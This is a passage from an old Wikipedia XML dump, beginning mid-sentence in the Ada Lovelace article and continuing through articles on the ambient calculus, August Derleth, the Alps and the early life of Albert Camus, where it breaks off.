[[Charles Babbage]]'s early mechanical general-purpose computer, the [[analytical engine]].

== Life ==
Ada was the only legitimate child of the poet [[George Gordon Byron, 6th Baron Byron|Lord Byron]] and his wife, [[Anne Isabella Milbanke|Annabella Milbanke]]. Ada was named after Byron's [[half-sister]], [[Augusta Leigh]], by whom he was rumoured to have fathered a child. It was Augusta who encouraged Byron to marry to avoid scandal, and he reluctantly chose Annabella. On [[January 16]], [[1816]], Annabella left Byron, taking 1-month old Ada with her. On [[April 21]], Byron signed the Deed of Separation and left England for good a few days later. He was never allowed to see either again.

Ada lived with her mother, as is apparent in her father's correspondence concerning her. Lady Byron was also highly interested in mathematics (Lord Byron once called her &quot;the queen of parallelograms&quot;), which dominated her life, even after marriage. Her obsession with rooting out any of the insanity of which she accused Lord Byron was one of the reasons why Annabella taught Ada [[mathematics]] at an early age. Ada was privately schooled in [[mathematics]] and [[science]], one of her tutors being [[Augustus De Morgan]]. An active member of [[London]] society, she was a member of the [[Bluestockings]] in her youth.

[[Image:Ada Lovelace.jpg|thumb|200px|left|Ada Lovelace]]
In 1835 she married [[William King, 1st Earl of Lovelace|William King, 8th Baron King]], later [[Earl of Lovelace|1st Earl of Lovelace]]. They had three children; Byron born [[12 May]] [[1836]], Annabella ([[Lady Anne Blunt]]) born [[22 September]] [[1837]] and Ralph Gordon born [[2 July]] [[1839]]. The family lived at Ockham Park, at [[Ockham, Surrey]]. Her full name and title for most of her married life was '''The Right Honourable Augusta Ada, Countess of Lovelace'''. She is widely known in modern times simply as '''Ada Lovelace'''.

She knew [[Mary Somerville]], noted researcher and scientific author of the [[19th century]], who introduced her in turn to [[Charles Babbage]] on [[June 5]], [[1833]]. Other acquaintances were [[David Brewster|Sir David Brewster]], [[Charles Wheatstone]], [[Charles Dickens]] and [[Michael Faraday]].

During a nine-month period in 1842-1843, Ada translated for Italian mathematician [[Luigi Menabrea]]'s memoir on Babbage's newest proposed machine, the Analytical Engine. With the article, she appended [[Ada Byron's notes on the analytical engine|a set of Notes]] which specified in complete detail a method for calculating [[Bernoulli numbers]] with the Engine, recognized by historians as the world's first [[computer program]].  Biographers note, however, that the programs were written by Babbage himself, and Lovelace simply found a mistake in the program for calculating Bernoulli numbers and sent it back for amendment.  The evidence and correspondence between Lovelace and Babbage indicate that he wrote all of the programs in the notes appended to the Menebrea translation.  Her prose acknowledged some possibilities of the machine which Babbage never published, such as speculating that &quot;the Engine might compose elaborate and scientific pieces of music of any degree of complexity or extent.&quot;

Ada Lovelace died at 36 after being [[Bloodletting|bled]] to death by her physicians, who were trying to treat her [[uterine cancer]]. Thus, she died, ironically, not only at the same age as her father did, but even of the same cause - the mistaken custom of bloodletting. She left two sons and a daughter, [[Lady Anne Blunt]], famous in her own right as a traveller in the [[Middle East]] and a breeder of [[Arabian horse]]s.

At her own request, Lovelace was buried next to the father she never knew at the [[Church of St. Mary Magdalene, Hucknall|Church of St. Mary Magdalene]] in [[Hucknall]], [[Nottingham]].

== Controversy over attribution ==

Biographers have noted that Lovelace struggled with mathematics, and there is some debate as to whether Lovelace understood deeply the concepts behind programming Babbage's engine, or was more of a figurehead used by Babbage for [[public relations]] purposes.

As an early woman in computing, Lovelace occupies a politically sensitive space in the canon of historical figures in [[computer science]], and therefore the extent of her contribution versus Babbage's remains difficult to assess based on current sources.

== Trivia ==

* On [[December 10]], [[1980]], (Ada's birthday), the [[U.S. Defense Department]] approved the reference manual for their new computer [[programming language]], called &quot;[[Ada programming language|Ada]]&quot;.
* The U.S. [[Defense Standard|Department of Defense Military Standard]] for Ada (MIL-STD-1815) was assigned a number to commemorate the year of her birth.
* On the math-mystery cartoon, ''[[Cyberchase]]'', she appears as the animated character Lady Ada Lovelace, voiced by ''[[Saturday Night Live]]'' comedian [[Jane Curtin]].  The episode is &quot;Hugs and Witches&quot; (#201) which premiered February 14, 2002 on [[PBS Kids GO!]].
* She is one of the main characters in the [[Alternate history (fiction)|alternate history]] novel ''[[The Difference Engine]]'' by [[Bruce Sterling]] and [[William Gibson (novelist)|William Gibson]], which posits a world in which Babbage's machines were [[mass production|mass produced]] and the computer age started a century early.
* ''Lord Byron's Novel'' by [[John Crowley]] is a pastiche of a novel supposedly by Byron (in real life he did begin writing one, but is not known to have completed it), discovered after his death by his daughter, edited and with commentary by her.
* Her image can be seen on the [[Microsoft]] product authenticity [[hologram]] stickers.

== See also ==

* [[Ada Byron's notes on the analytical engine]]
* [[Women in computing]]
* [[Ada programming language]]

== External links ==

*[http://www.sdsc.edu/ScienceWomen/lovelace.html Ada Lovelace: Founder of Scientific Computing (SDSC Women in Science)]
* {{MacTutor Biography|id=Lovelace}}
*[http://web.archive.org/web/20010710002229/http://vms.www.uwplatt.edu/~wise/lovelace/lovelace.html WISE Project biography] ([[Internet Archive|archive]] link, was [[Dead link|dead]])
*[http://www.cs.yale.edu/homes/tap/ada-lovelace.html A page of (mostly broken) links to biographies, etc]
*[http://www.cs.yale.edu/homes/tap/Files/ada-lovelace-notes.html Ada Lovelace's ''Notes'' and ''The Ladies Diary'']
*[http://www.educause.edu/pub/er/review/reviewArticles/31240.html Ada &amp;amp; the Analytical Engine]
*[http://www.cs.kuleuven.ac.be/~dirk/ada-belgium/pictures.html Ada Picture Gallery includes freely copyable pictures of Ada]
*[http://www.fourmilab.ch/babbage/sketch.html Full text of translation of &quot;Sketch of the Analytical Engine&quot; by L. F. Menabrea with Ada's notes and extensive commentary]
*[http://www.techtv.com/news/culture/story/0,24195,3316503,00.html An article on the Ada controversy], and [http://www.techtv.com/news/culture/jump/0,24196,3316508,00.html Was Ada really the first programmer?]
*[http://www.newyorker.com/critics/books/?010305crbo_Holt_Books_C  Jim Holt's &quot;The Ada Perplex,&quot; from the New Yorker]
*[http://www.scottlan.edu/lriddle/women/love.htm  A brief biography of Ada Augusta, Countess of Lovelace with links to other resources related to Ada]
* [http://www.hucknall-parish-church.org.uk/ada.htm Hucknall Parish Church, Ada's final resting place]

[[Category:1815 births|Lovelace, Ada]]
[[Category:1852 deaths|Lovelace, Ada]]
[[Category:Computer pioneers|Lovelace, Ada]]
[[Category:British mathematicians|Lovelace, Ada]]
[[Category:Women mathematicians|Lovelace, Ada]]
[[Category:British scientists|Lovelace, Ada]]
[[Category:Women computer scientists|Lovelace, Ada]]
[[Category:British women|Lovelace, Ada]]

[[cs:Augusta Ada King]]
[[da:Ada Lovelace]]
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[[fa:ایدا لاولیس]]
[[fr:Ada Lovelace]]
[[gl:Ada Augusta Lovelace]]
[[hr:Ada Lovelace]]
[[it:Ada Lovelace]]
[[he:עדה לאבלייס]]
[[nl:Ada Lovelace]]
[[ja:エイダ・ラブレス]]
[[no:Ada Byron Lovelace]]
[[pl:Ada Lovelace]]
[[pt:Ada Lovelace]]
[[ru:Лавлейс, Ада]]
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[[vi:Ada Lovelace]]</text>
    </revision>
  </page>
  <page>
    <title>AmbientCalculiOnline</title>
    <id>975</id>
    <revision>
      <id>15899485</id>
      <timestamp>2002-04-24T01:17:13Z</timestamp>
      <contributor>
        <ip>193.49.30.34</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Ambient calculus]]
</text>
    </revision>
  </page>
  <page>
    <title>Ambient calculus</title>
    <id>978</id>
    <revision>
      <id>33143179</id>
      <timestamp>2005-12-29T17:54:57Z</timestamp>
      <contributor>
        <username>Allan McInnes</username>
        <id>647621</id>
      </contributor>
      <minor />
      <comment>/* Informal description */ sectioning</comment>
      <text xml:space="preserve">In [[Computer science|computer science]], the '''ambient calculus''' is a [[Process calculi|process calculus]] devised by [[Luca Cardelli]]
and [[Andrew D. Gordon]] in [[1998]], and used to describe and theorise about [[concurrent systems]] that include ''mobility''. Here ''mobility'' means both computation carried out on mobile devices (''i.e.'' networks that have a dynamic topology), and mobile computation (''i.e.'' executable code that is able to move around the network). The ambient calculus provides a unified framework for modeling both kinds of mobility {{ref_harvard|Cardelli1998|Cardelli 1998|-}}. It is used to model interactions in such [[concurrent systems]] as the [[Internet]].

Since its inception, the ambient calculus has grown into a family of closely related [http://xdguan.freezope.org/wiki/AmbientCalculiOnline ''ambient calculi''].

== Informal description ==
===Ambients===
The fundamental primitive of the ambient calculus is the ''ambient''. An ambient is informally defined as a ''bounded'' place in which computation can occur. The notion of boundaries is considered key to representing mobility, since a boundary defines a contained computational agent that can be moved in its entirety {{ref_harvard|Cardelli1998|Cardelli 1998|-}}. Examples of ambients include: 

* a web page (bounded by a file)
* a virtual address space (bounded by an addressing range)
* a Unix file system (bounded within a physical volume)
* a single data object (bounded by  “self”) 
* a laptop (bounded by its case and data ports)

The key properties of ambients within the Ambient calculus are:

* Ambients have names, which are used to control access to the ambient
* Ambients can be nested inside other ambients (representing, for example, administrative domains)
* Ambients can be moved as a whole

===Operations===
Computation is represented as the crossing of boundaries, ''i.e.'' the movement of ambients. There are three basic operations (or capabilities) on ambients {{ref_harvard|Cardelli1998|Cardelli 1998|-}}:
* &lt;math&gt;in\;m.P&lt;/math&gt; instructs the surrounding ambient to enter some sibling ambient &lt;math&gt;m&lt;/math&gt;, and then proceed as &lt;math&gt;P&lt;/math&gt;
* &lt;math&gt;out\;m.P&lt;/math&gt; instructs the surrounding ambient to exit its parent ambient &lt;math&gt;m&lt;/math&gt;
* &lt;math&gt;open\;m.P&lt;/math&gt; instructs the surrounding ambient to dissolve the boundary of an ambient &lt;math&gt;m&lt;/math&gt; located at the same level
The Ambient calculus provides a reduction semantics that formally defines what the results of these operations are.

Communication ''within'' (''i.e.'' local to) an ambient is anonymous and asynchronous. Output actions release names or capabilities into the surrounding ambient. Input actions capture a value from the ambient, and bind it to a variable. ''Non-local'' I/O can be represented in terms of these local communications actions by a variety of means. One approach is to use mobile “messenger” agents that carry a message from one ambient to another (using the capabilities described above). Another approach is to emulate channel-based communications by modeling a channel in terms of ambients and operations on those ambients {{ref_harvard|Cardelli1998|Cardelli 1998|-}}. The three basic ambient primitives, namely '''in''', '''out''', and '''open''' are expressive enough to simulate name-passing channels in the [[Pi-calculus|&amp;pi;-calculus]].

== Criticisms ==
Some people believe that the synchronous nature of the three ambient actions ('''in''', '''out''', and '''open''') may make it difficult to adopt the ambient calculus as the programming language core for mobile and [[distributed computing]]. A counter-argument to this criticism is that the ambient calculus is not intended to act as a language core, but rather to provide general capabilities for formally modelling and analyzing complex concurrent systems that may consist of components written in a variety of languages.

== See also ==
* [[process calculi]]
* [[programming language]]
* [[theoretical computer science]]
* [[lambda calculus]]
* [[type theory]]

==External links==

*[http://xdguan.freezope.org/wiki/AmbientCalculiOnline Collection of online resources for ambient calculi]
*[http://www.luca.demon.co.uk/Ambit/Ambit.html Mobile Computational Ambients] by Luca Cardelli

== References ==
* {{note_label|Cardelli1998|Cardelli 1998|-}} Cardelli, L. and Gordon, A. D. 1998: ''Mobile Ambients'', Proceedings of the First international Conference on Foundations of Software Science and Computation Structure (March 28 - April 04, 1998). M. Nivat, Ed. Lecture Notes In Computer Science, vol. 1378. Springer-Verlag, London, 140-155.

{{comp-sci-stub}}
[[Category:Process calculi]]</text>
    </revision>
  </page>
  <page>
    <title>August Derleth</title>
    <id>980</id>
    <revision>
      <id>36184803</id>
      <timestamp>2006-01-22T05:49:56Z</timestamp>
      <contributor>
        <username>Jdcooper</username>
        <id>202051</id>
      </contributor>
      <text xml:space="preserve">{{mergefrom|List of works by August Derleth}}

'''August William Derleth''' ([[February 24]] [[1909]] &amp;ndash; [[July 4]] [[1971]]) was an American writer and anthologist. The son of William Julius Derleth and his wife Rose Louise Volk, he resided in [[Sauk City, Wisconsin]].

At the age of 16, he sold his first story to ''[[Weird Tales]]'' magazine. Derleth wrote all throughout his four years at the [[University of Wisconsin-Madison]] and received a [[Bachelor's Degree|B.A.]] in 1930. During this time he served briefly as [[editor]] of ''[[Mystic Magazine]]''.

In the mid-1930s he organised a Ranger's Club for young people, served as clerk and president of the local [[Board of Education]], served as a parole officer, organised a local Men&amp;rsquo;s Club and a [[Parent-Teacher Association|parent-teacher association]]. He also lectured in American Regional Literature at the University of Wisconsin.

Derleth was a contemporary and friend of [[H. P. Lovecraft]] &amp;mdash; when Lovecraft wrote about &quot;le Comte d'Erlette&quot; in [[List of Works by H. P. Lovecraft|his fiction]] it was in homage to Derleth. After Lovecraft's death he took a number of that author's unfinished stories and rewrote or finished them for publication in ''Weird Tales'' and later in book form. In the process, he invented the term [[Cthulhu Mythos]] to describe the invented [[mythology]] that seemed to lie behind much of Lovecraft's fiction. Derleth codified the Mythos to bring it more in line with his own [[Christianity|Christian]] conception of the battle between good and evil and, as other authors had done before him, added new gods and creatures to the stories.

When Lovecraft died in [[1937]], Derleth and [[Donald Wandrei]] put together a collection of that author's [[short story|stories]] and tried to get them published. With existing publishers showing little interest, they founded [[Arkham House]] in 1939 to do it themselves. The name of the company comes from Lovecraft's [[fictional town]] of [[Arkham]], [[Massachusetts]], which featured in many of his stories.

In [[1939]] Arkham House published ''[[The Outsider and Others]]'', a huge collection that contained most of Lovecraft's short stories then known to exist. Derleth and Wandrei soon decided to expand Arkham House and began a regular publishing schedule after its second book, ''[[Someone in the Dark]]'' in [[1941]], a collection of some of Derleth's own [[horror stories]].

In [[1941]] he became literary editor of ''[[The Capital Times]]'' newspaper in [[Madison, Wisconsin|Madison]], a post he held until his resignation in [[1960]].

Derleth was married [[April 6]] [[1953]] to Sandra Evelyn Winters, and they were divorced six years later in [[1959]]. He retained custody of their two children, April Rose and Walden William. In [[1960]], Derleth began editing and publishing a magazine called ''Hawk and Whippoorwill'', dedicated to [[poetry|poems]] of man and nature.

He died on [[July 4]] [[1971]] and is buried in [[St. Aloysius]] Cemetery, [[Sauk City]], Wisconsin.

Derleth wrote more than 150 short stories and more than 100 books during his lifetime. Included among that number were several novels about a British detective named [[Solar Pons]], who was quite similar in many respects to [[Sherlock Holmes]]. Derleth, however, lacked the knowledge to make the details of those stories authentic, as he had never been to [[England]]. He also wrote under the [[pseudonym|pseudonyms]] Stephen Grendon, Kenyon Holmes and Tally Mason.
==See also==
[[August derleth bibliography | Derleth Bibliography]]

==External links==
*[http://www.derleth.org/ The August Derleth Society]
*[http://www.waldeneast.fsnet.co.uk/adp1.htm A more detailed biography]
*[http://www.arkhamhouse.com/augustderleth.htm A short autobiography]
*[http://lovecraft.cjb.net &quot;The Ultimate Cthulhu Mythos Book List&quot;] - Listing of all mythos novels, anthologies, collections, comic books, and more.

[[Category:1909 births|Derleth, August]]
[[Category:1971 deaths|Derleth, August]]
[[Category:American short story writers|Derleth, August]]
[[Category:American mystery writers|Derleth, August]]
[[Category:American novelists|Derleth, August]]
[[Category:Cthulhu mythos|Derleth, August]]
[[Category:Horror writers|Derleth, August]]
[[Category:People from Wisconsin|Derleth, August]]
[[de:August Derleth]]
[[fr:August Derleth]]
[[ja:オーガスト・ダーレス]]
[[pl:August Derleth]]
[[sv:August Derleth]]</text>
    </revision>
  </page>
  <page>
    <title>Alps</title>
    <id>981</id>
    <revision>
      <id>41456986</id>
      <timestamp>2006-02-27T13:34:58Z</timestamp>
      <contributor>
        <username>Perconte</username>
        <id>111314</id>
      </contributor>
      <comment>+ digital images</comment>
      <text xml:space="preserve">:''This article is about the Alps in Europe. For other mountain ranges see [[Alps (disambiguation)]].''
[[Image:Alps in the Chamonix Valley, near the Mer de Glace.jpg|thumb|275px|right|The West face of the Petit Dru above the [[Chamonix]] valley near the [[Mer de Glace]].]]
[[Image:Alpenrelief 01.jpg|thumb|275px|Digital relief of the Alps]]

The '''Alps''' (Alpi in Italian) is the name for one of the great [[mountain range]] systems of [[Europe]], stretching from [[Austria]], [[Italy]] and [[Slovenia]] in the east, through [[Italy]], [[Switzerland]], [[Liechtenstein]] and [[Germany]] to [[France]] in the west. The word &quot;Alps&quot; was taken via [[French language|French]] from [[Latin]] ''Alpes'' (meaning &quot;the Alps&quot;), which may be influenced by the Latin words ''albus'' (white) or ''altus'' (high), or a [[Celtic languages|Celtic]] word. 

The highest mountain in the Alps is [[Mont Blanc]] at 4810&amp;nbsp;[[metre|m]] on the French-Italian border. All the main peaks of the Alps can be found in the [[list of mountains of the Alps]] and [[list of Alpine peaks by prominence]].

==Geography==
:''Main article: [[Geography of the Alps]]''

===Subdivision===
[[Image:Alpenrelief 02.jpg|thumb|275px|the Alps with the Borders of the Countries]]
[[Image:Italian alps1.jpg|thumb|right|275px|The Italian Alps - Taken from an airplane]]
The Alps are generally divided into [[Western Alps]] and [[Eastern Alps]]. The division is along the line between [[Lake Constance]] and [[Lake Como]], following the [[Rhine]]. The Western Alps are located in [[Italy]], [[France]] and [[Switzerland]], the Eastern Alps in [[Austria]], [[Germany]], [[Italy]], [[Liechtenstein]], [[Slovenia]] and [[Switzerland]]. The highest peak of the Western Alps is [[Mont Blanc]], 4810 m. The highest peak in the Eastern Alps is [[Piz Bernina]], 4052 meters.

The Eastern Alps are commonly subdivided according to the different geological composition of the more central parts of the Alps and the groups at its northern and southern fringes: [[Northern Limestone Alps]], [[Central Eastern Alps]] and [[Southern Limestone Alps]]. The border between the [[Central Eastern Alps]] and the [[Southern Limestone Alps]] is the [[Periadriatic Seam]]. The [[Northern Limestone Alps]] are separated from the [[Central Eastern Alps]] by the [[Grauwacken Zone]].

The [[Western Alps]] are commonly subdivided into the following:
*[[Ligurian Alps]]
*[[Maritime Alps]]
*[[Cottian Alps]]
*[[Dauphiné Alps]]
*[[Graian Alps]]
*[[Pennine Alps]]
*[[Bernese Alps]]
*[[Lepontine Alps]]
*[[Glarus Alps]]
*[[North-Eastern Swiss Alps]]

Series of lower mountain ranges run parallel to the main chains of the Alps, including the [[French Prealps]].

===Main chains===
:''Main article: [[Main chain of the Alps]]''

[[Image:alps.space.300pix.jpg|thumb|right|The European Alps from space in May 2002.]]
The &quot;main chain of the Alps&quot; follows the watershed from the [[Mediterranean Sea]] to the [[Wienerwald]], passing over many of the highest and most famous peaks in the Alps. From the Colle di Cadibona to [[Col de Tende]] it runs westwards, before turning to the north-west and then, near the [[Colle della Maddalena]], to the north. Upon reaching the Swiss border, the line of the main chain heads approximately east-north-east, a heading it follows until its end near [[Vienna]].

===Principal passes===
:''Main article: [[Principal passes of the Alps]]''

The Alps do not form an impassable barrier; they have been traversed for [[war]] and [[commerce]], and later by [[pilgrim]]s, [[student]]s and [[tourist]]s. Crossing places by [[road]], [[train]] or foot are called passes, these are depressions in the  mountains to which a valley leads from the plains and hilly pre-mountainous zones.

==Climate==
:''Main article: [[Climate of the Alps]]''

The ''climate of the Alps'' is the [[climate]], or average [[weather]] conditions over a long time, of the central Alpine region of [[Europe]]. As we rise from [[sea level]] into the upper regions of the [[Earth's atmosphere|atmosphere]], the [[temperature]] [[adiabatic lapse rate|decreases]]. The effect of [[mountain]] chains on prevailing [[wind]]s is to carry warm air belonging to the lower region into an upper zone, where it expands in [[volume]] at the cost of a proportionate loss of [[heat]], often accompanied by the [[precipitation (meteorology)|precipitation]] of moisture in the form of [[snow]] or [[rain]].

==Geology==
:''Main article: [[Geology of the Alps]]''

The Alps arose as a result of the pressure exerted on [[sediment]]s of the [[Tethys Ocean]] basin as its [[Mesozoic]] and early [[Cenozoic]] [[Stratum|strata]] were pushed against the stable [[Eurasia]]n landmass by the northward-moving [[Africa]]n landmass. Most of this occurred during the [[Oligocene]] and [[Miocene]] epochs. The pressure formed great recumbent folds, or ''nappes'', that rose out of what had become the [[Tethys Sea]] and pushed northward, often breaking and sliding one over the other to form gigantic thrust [[Geologic fault|fault]]s. [[Crystal]]line rocks, which are exposed in the higher central regions, are the rocks forming [[Mont Blanc]], the [[Matterhorn]], and high peaks in the Pennine Alps and Hohe Tauern.

The landscape seen today is mostly formed by [[glaciation]] during the past two million years. At least five [[ice age]]s have done much to remodel the region, scooping out the lakes and rounding off the limestone hills along the northern border. [[Glaciers]] have been retreating during the past 10,000 years, leaving large granite boulders scattered in the forests in the region.  As the last ice age ended, it is believed that the [[climate]] changed so rapidly that the glaciers retreated back into the mountains in a span of about 200 to 300 years.

==Political history==
:''Main article: [[Political history and modern state of the inhabitants of the Alps]]''

Little is known of the early dwellers in the Alps, save from the scanty accounts preserved  by [[Ancient Rome|Roman]] and [[Ancient Greece|Greek]] [[historian]]s and [[geographer]]s.  A few details have come down to us of the conquest of many of the Alpine tribes by [[Augustus]].

The successive emigration and occupation of the Alpine region by various [[Germanic peoples|Teutonic tribes]] from the [[5th century|5th]] to the [[6th century|6th centuries]] are known only in outline, because to them, as to the [[Frankish]] kings and emperors, the Alps offered a route from one place to another rather than a permanent residence.

It is not until the final breakup of the [[Carolingian Empire]] in the [[10th century|10th]] and [[11th century|11th centuries]] that it becomes possible to trace out the local history of the Alps.

==Exploration==
:''Main article: [[Exploration of the High Alps]]''

The higher regions of the Alps were long left to the exclusive attention of the men of the adjoining valleys, even when Alpine travellers (as distinguished from Alpine climbers) began to visit these valleys. The two men who first explored the regions of ice and snow were H.B. de Saussure (1740-1799) in the [[Pennine Alps]], and the Benedictine monk of [[Disentis]], Placidus a Spescha (1752-1833), most of whose ascents were made before 1806, in the valleys at the sources of the [[Rhine]].

==Flora==
A natural vegetation limit with altitude is given by the presence of the chief [[deciduous]] [[tree]]s &amp;mdash; [[oak]], [[beech]], [[Ash tree|ash]] and [[sycamore maple]].  These do not reach exactly to the same elevation, nor are they often found growing together; but their upper limit corresponds accurately enough to the change from a temperate to a colder climate that is further proved by a change in the wild [[herb]]aceous vegetation.  This limit usually lies about 1200 m above the sea on the north side of the Alps, but on the southern slopes it often rises to 1500 m, sometimes even to 1700 m.

It must not be supposed that this region is always marked by the presence of the characteristic trees. The interference of man has in many districts almost removed them, and, excepting the beech forests of the [[Austria]]n Alps, a considerable wood of deciduous trees is rare. In many districts where such woods once existed, their place has been occupied by the [[Scots pine]] and [[Norway spruce]], which suffer less from the ravages of goats, the worst enemies of tree vegetation. The mean annual temperature of this region differs little from that of the [[British Islands]]; but the climate conditions are widely different. Here snow usually lies for several months, till it gives place to a spring and summer considerably warmer than the average of British seasons.

'''Typical plants found in the Alps:'''
&lt;gallery&gt;
Image:Leontopodium alpinum1.jpg|Edelweiss&lt;br /&gt;(''[[Edelweiss|Leontopodium alpinum]]'')
Image:Gentiana acaulis.jpg|stemless gentian&lt;br /&gt;(''[[Gentiana acaulis]]'')
Image:RostblaettrigeAlpenrose.jpg|rusty-leaved Alpenrose&lt;br /&gt;(''[[Rhododendron ferrugineum]]'')
Image:Chamorchis_alpina_230705b.jpg|Alpine dwarf orchid&lt;br /&gt;(''[[Chamorchis alpina]]'')
Image:Ranunculus_glacialis.jpg|glacier buttercup&lt;br /&gt;(''[[Ranunculus glacialis]]'')
Image:Kosodrzewina (Sosna górska) Pinus mugo mugo.jpg|mountain pine&lt;br /&gt;(''[[Mountain Pine|Pinus mugo]]'')
Image:Pulsatilla_alpina_schneebergensis.jpg|Alpine pasque-flower&lt;br /&gt;(''[[Pulsatilla alpina]]'')
Image:Androsace alpina02.jpg|Alpine rock-jasmine (''[[Androsace alpina]]'')
&lt;/gallery&gt;

==Fauna==
[[:Category:Fauna of the Alps|Species common to the Alps]]. These are most numerously found in the 15% of the Alps protected in parks and reserves.
 
&lt;gallery&gt;
Image:Plochacz 3001xx.jpg|&lt;center&gt;[[Alpine Accentor]]&lt;/center&gt;
Image:Chamois Kleinwalsertal 1997.jpg|&lt;center&gt;[[Chamois]]&lt;/center&gt;
Image:Alpenkauw2.jpg|&lt;center&gt;[[Alpine Chough]]&lt;/center&gt;
Image:Goldie.JPG|&lt;center&gt;[[Golden Eagle]]&lt;/center&gt;
Image:Alpine ibex.jpg|&lt;center&gt;[[Alpine Ibex|Ibex]]&lt;/center&gt;
Image:Corvus monedula2.jpg|&lt;center&gt;[[Jackdaw]]&lt;/center&gt;
Image:Marmota marmota Alpes2.jpg|&lt;center&gt;[[Alpine Marmot|Marmot]]&lt;/center&gt;
Image:Arctic Hare.jpg|&lt;center&gt;[[Mountain Hare]]&lt;/center&gt;
Image:Ptarmigan9.jpg|&lt;center&gt;[[Ptarmigan]]&lt;/center&gt;
Image:Elk4.jpg|&lt;center&gt;[[Red Deer]]&lt;/center&gt;
Image:Aegolius-funereus-001.jpg|&lt;center&gt;[[Tengmalm's Owl]]&lt;/center&gt;
&lt;/gallery&gt;

==See also==
{{commons|Category:Alps}}
*[[Paganism in the Eastern Alps]]
*[[Alpinism]]

==External links==
* [http://gridk1ach.grid.unep.ch/preAC/en/soia.htm System for Observation of and Information on the Alps], established in 1991 by the [[Alpine Convention]]
* [http://modis.gsfc.nasa.gov/gallery/individual.php?db_date=2005-09-17 Satellite photo of the Alps], taken on [[August 31]], [[2005]] by [[MODIS]] aboard [[Terra (satellite)|Terra]] 
* [http://www.eumetsat.int/en/area5/iotm/19930503_convection/19930503_convection.html Convection over the Alps], a satellite photo taken on [[May 3]], [[1993]] by [[Meteosat]]-4, with analysis
*[http://www2.snowfactory.com/portal/modules.php?name=WebCAM_Belalp SNOWFactory.com] The live webcam locate in the swiss alps. More than 50'000 images since summer 2003.
*[http://www.snownews.de Winter holidays in the european Alps]
*[http://www.via-ferrata.de Hiking and climbing in the ALps]
* [http://www.travel-france-vacation.com/south-riviera-france/southern-nice-provence.htm Visit Alps and Rhone valley]

[[Category:Alps| ]]
[[Category:Mountains of Europe]]
[[Category:Mountains of Austria]]
[[Category:Mountains of France]]
[[Category:Mountains of Germany]]
[[Category:Mountains of Switzerland]]
[[Category:Mountains of Slovenia]]

==References==
*{{1911}}

[[af:Alpe]]
[[als:Alpen]]
[[ar:ألب]]
[[bg:Алпи]]
[[ca:Alps]]
[[cs:Alpy]]
[[da:Alperne]]
[[de:Alpen]]
[[et:Alpid]]
[[el:Άλπεις]]
[[es:Alpes]]
[[eo:Alpoj]]
[[eu:Alpeak]]
[[fr:Alpes]]
[[ga:Sliabh Alpa]]
[[ko:알프스 산맥]]
[[hr:Alpe]]
[[is:Alpafjöll]]
[[it:Alpi]]
[[he:הרי האלפים]]
[[la:Alpes]]
[[lt:Alpės]]
[[nl:Alpen]]
[[ja:アルプス山脈]]
[[no:Alpene]]
[[nn:Alpane]]
[[pl:Alpy]]
[[pt:Alpes]]
[[ro:Alpi]]
[[ru:Альпы]]
[[sk:Alpy]]
[[sl:Alpe]]
[[sr:Алпи]]
[[fi:Alpit]]
[[sv:Alperna]]
[[tr:Alpler]]
[[uk:Альпи]]
[[zh:阿尔卑斯山]]</text>
    </revision>
  </page>
  <page>
    <title>A priori and a posteriori knowledge</title>
    <id>982</id>
    <revision>
      <id>15899492</id>
      <timestamp>2005-05-15T20:16:19Z</timestamp>
      <contributor>
        <username>Kzollman</username>
        <id>166829</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Knowledge]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Camus</title>
    <id>983</id>
    <revision>
      <id>42036634</id>
      <timestamp>2006-03-03T10:29:44Z</timestamp>
      <contributor>
        <ip>84.159.110.243</ip>
      </contributor>
      <text xml:space="preserve">[[Image:camus-albert.gif|thumb|right|Albert Camus]]
'''Albert Camus''' (pronounced Kam-oo, [[IPA]]: ka.mʉ̟ː) ([[November 7]], [[1913]] &amp;ndash; [[January 4]], [[1960]]) was a  [[France|French]] [[author]] and [[philosopher]] and one of the principal luminaries (with [[Jean-Paul Sartre]]) of [[absurdism]].  Camus was the second youngest-ever recipient of the [[Nobel Prize for Literature]] (after [[Rudyard Kipling]]) when he received the award in 1957. He is also the [[List of Nobel Prize in Literature winners by longevity|shortest-lived of any literature laureate]] to date, having died in a car crash three years after receiving the award.

==Early years== 
Albert Camus was born in [[Mondovi, Algeria]] to a French Algerian ([[pied noir]]) settler family. His mother was of Spanish extraction. His father, Lucien, died in the [[First Battle of the Marne|Battle of the Marne]] in [[1914]] during the [[World War I|First World War]], while serving as a member of the [[Zouave]] infantry regiment. Camus lived in poor conditions during his childhood in the Belcourt section of [[Algiers]].

In [[1923]], Camus was accepted into the [[lycée]] and eventually to the [[University of Algiers]]. However, he contracted [[tuberculosis]] in [[1930]], which put an end to his [[football (soccer)|football]] activities (he had been a [[goalkeeper]] for the university team) and forced him to make his studies a part-time pursuit. He took odd jobs including private [[tutor]], car parts clerk, and work for the Meteorological Institute. He completed his ''licence de philosophie'' ([[Bachelor of Arts|BA]]) in [[1935]]; in May of [[1936]], he successfully presented his thesis on [[Plotinus]], ''Néo-Platonisme et Pensée Chrétienne'' for his ''diplôme d'études supérieures'' (roughly equivalent to an M.A. by thesis). 
{{French literature (small)}}
Camus joined the [[French Communist Party]] in 1934, apparently for concern over the political situation in [[Spain]] (which eventually resulted in the [[Spanish Civil War]]) rather than support for [[Marxism-Leninism|Marxist-Leninist]] doctrine. In 1936, the independence-minded Algerian Communist Party (PCA) was founded. Camus joined the activities of [[Le Parti du Peuple Algérien]], which got him into trouble with his communist party comrades.  As a result, he was denounced as &quot;[[Trotskyism|Trotskyite]]&quot;, which did not endear him to Stalinist communism. 

In 1934, he [[Married|married]] Simone Hie, a [[morphine]] addict, but the marriage ended due to Simone's infidelity. In 1935, he founded ''Théâtre du Travail'' &amp;mdash; &quot;Worker's Theatre&quot; &amp;mdash; (renamed ''Théâtre de l'Equipe'' (&quot;Team's Theatre&quot;) in [[1937]]), which survived until 1939. From 1937 to 1939, he wrote for a socialist paper, ''Alger-Republicain'', and his work included an account of the peasants who lived in [[Kabylie]] in poor conditions, which apparently cost him his job. From 1939 to 1940, he briefly wrote for a similar paper, ''Soir-Republicain''. He was rejected from the French army because of his [[tuberculosis]].

